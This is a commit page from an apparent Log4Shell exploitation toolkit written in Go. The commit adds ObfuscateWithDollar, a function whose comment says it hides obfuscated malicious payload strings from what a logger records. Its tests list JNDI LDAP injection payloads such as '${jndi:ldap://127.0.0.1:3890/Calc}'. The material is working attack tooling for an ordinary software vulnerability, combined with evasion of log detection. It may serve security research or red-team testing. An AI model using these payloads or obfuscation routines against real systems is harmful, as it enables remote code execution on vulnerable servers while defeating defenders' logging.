Skip to content

Commit 573de38

Browse files
committed
add ObfuscateWithDollar for hide obfuscated malicious(payload) string that logger record.
1 parent 951ff13 commit 573de38

File tree

2 files changed

+93
-0
lines changed

2 files changed

+93
-0
lines changed

obfuscate.go

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -127,3 +127,20 @@ func Obfuscate(raw string, token bool) (string, string) {
127127

128128
return obfuscated.String(), rwt
129129
}
130+
131+
// ObfuscateWithDollar will obfuscate malicious(payload) string, and
132+
// add a dollar symbol before one string like "${xxx-xxx:-section}".
133+
// When add one Dollar, repeat execute will not appear and the logger
134+
// will not print the whole obfuscated string, just a little, but I
135+
// don't know why this happened, It may cause unexpected situations,
136+
// so it is disabled by default.
137+
func ObfuscateWithDollar(raw string, token bool) (string, string) {
138+
obfuscated, rwt := Obfuscate(raw, token)
139+
if strings.Count(obfuscated, "${") < 2 || !strings.Contains(rwt, "$") {
140+
return obfuscated, rwt
141+
}
142+
// add one "$" to before the last "${"
143+
idx := strings.LastIndex(obfuscated, "${")
144+
obfuscated = obfuscated[:idx] + "$" + obfuscated[idx:]
145+
return obfuscated, rwt
146+
}

obfuscate_test.go

Lines changed: 76 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@ package log4shell
22

33
import (
44
"fmt"
5+
"strings"
56
"testing"
67

78
"github.com/stretchr/testify/require"
@@ -21,6 +22,9 @@ func TestObfuscate(t *testing.T) {
2122
fmt.Println(rwt)
2223
fmt.Println(obfuscated)
2324
fmt.Println()
25+
26+
// check exist bug "$" with "${"
27+
require.NotContains(t, obfuscated, "$${")
2428
})
2529

2630
t.Run("without token", func(t *testing.T) {
@@ -29,6 +33,9 @@ func TestObfuscate(t *testing.T) {
2933
require.Zero(t, rwt)
3034
fmt.Println(obfuscated)
3135
fmt.Println()
36+
37+
// check exist bug "$" with "${"
38+
require.NotContains(t, obfuscated, "$${")
3239
})
3340
}
3441
})
@@ -73,3 +80,72 @@ func TestObfuscate(t *testing.T) {
7380
})
7481
})
7582
}
83+
84+
func TestObfuscateWithDollar(t *testing.T) {
85+
t.Run("common", func(t *testing.T) {
86+
for _, testdata := range [...]string{
87+
"${jndi:ldap://127.0.0.1:3890/Calc}",
88+
"${jndi:ldap://127.0.0.1:3890/Notepad}",
89+
"${jndi:ldap://127.0.0.1:3890/Nop}",
90+
"test",
91+
} {
92+
t.Run("with token", func(t *testing.T) {
93+
obfuscated, rwt := ObfuscateWithDollar(testdata, true)
94+
fmt.Println(testdata)
95+
fmt.Println(rwt)
96+
fmt.Println(obfuscated)
97+
fmt.Println()
98+
99+
require.Equal(t, 1, strings.Count(obfuscated, "$${"))
100+
})
101+
102+
t.Run("without token", func(t *testing.T) {
103+
obfuscated, rwt := ObfuscateWithDollar(testdata, false)
104+
fmt.Println(testdata)
105+
require.Zero(t, rwt)
106+
fmt.Println(obfuscated)
107+
fmt.Println()
108+
109+
require.NotContains(t, obfuscated, "$${")
110+
})
111+
}
112+
})
113+
114+
t.Run("empty raw string", func(t *testing.T) {
115+
t.Run("with token", func(t *testing.T) {
116+
obfuscated, rwt := ObfuscateWithDollar("", true)
117+
require.Zero(t, rwt)
118+
require.Zero(t, obfuscated)
119+
})
120+
121+
t.Run("without token", func(t *testing.T) {
122+
obfuscated, rwt := ObfuscateWithDollar("", false)
123+
require.Zero(t, rwt)
124+
require.Zero(t, obfuscated)
125+
})
126+
})
127+
128+
t.Run("fuzz", func(t *testing.T) {
129+
t.Run("with token", func(t *testing.T) {
130+
for i := 0; i < 100000; i++ {
131+
raw := "${" + randString(64) + "}"
132+
obfuscated, rwt := ObfuscateWithDollar(raw, true)
133+
require.NotZero(t, rwt)
134+
require.NotZero(t, obfuscated)
135+
136+
require.Equal(t, 1, strings.Count(obfuscated, "$${"))
137+
}
138+
})
139+
140+
t.Run("without token", func(t *testing.T) {
141+
for i := 0; i < 100000; i++ {
142+
raw := "${" + randString(64) + "}"
143+
obfuscated, rwt := ObfuscateWithDollar(raw, false)
144+
require.Zero(t, rwt)
145+
require.NotZero(t, obfuscated)
146+
147+
require.NotContains(t, obfuscated, "$${")
148+
}
149+
})
150+
})
151+
}

0 commit comments

Comments
 (0)